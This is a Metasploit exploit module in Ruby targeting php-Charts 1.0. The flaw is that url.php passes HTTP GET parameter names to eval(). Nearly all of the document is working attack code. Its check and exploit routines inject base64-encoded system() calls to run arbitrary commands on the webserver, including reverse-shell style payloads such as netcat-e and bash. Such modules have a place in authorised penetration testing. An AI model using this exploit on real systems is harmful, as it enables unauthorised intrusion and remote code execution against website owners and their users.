PHP-Charts 1.0 - PHP Code Execution Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
            'Description'    => %q{
                This module exploits a PHP code execution vulnerability in php-Charts
                version 1.0 which could be abused to allow users to execute arbitrary
                PHP code under the context of the webserver user. The 'url.php' script
                calls eval() with user controlled data from any HTTP GET parameter name.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'AkaStep', # Discovery and PoC
                    'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
                ],
            'References'     =>
                [
                    ['OSVDB', '89334'],
                    ['BID', '57448'],
                    ['EDB',   '24201']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d\x22",
                    'Compat'      =>
                        {
                        'PayloadType' => 'cmd',
                        'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
                        }
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 16 2013",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
            ], self.class)
    end

    def check

        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        peer  = "#{rhost}:#{rport}"
        fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
        code  = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
        rand_key_value = rand_text_alphanumeric(rand(10)+6)

        # send check
        print_status("#{peer} - Sending check")
        begin
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
            })

            if res and res.body =~ /#{fingerprint}/
                return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("#{peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def exploit

        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        @peer = "#{rhost}:#{rport}"
        code  = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
        rand_key_value = rand_text_alphanumeric(rand(10)+6)

        # send payload
        print_status("#{@peer} - Sending payload (#{code.length} bytes)")
        begin
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
            })
            if res and res.code == 500
                print_good("#{@peer} - Payload sent successfully")
            else
                fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
            end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end

    end
end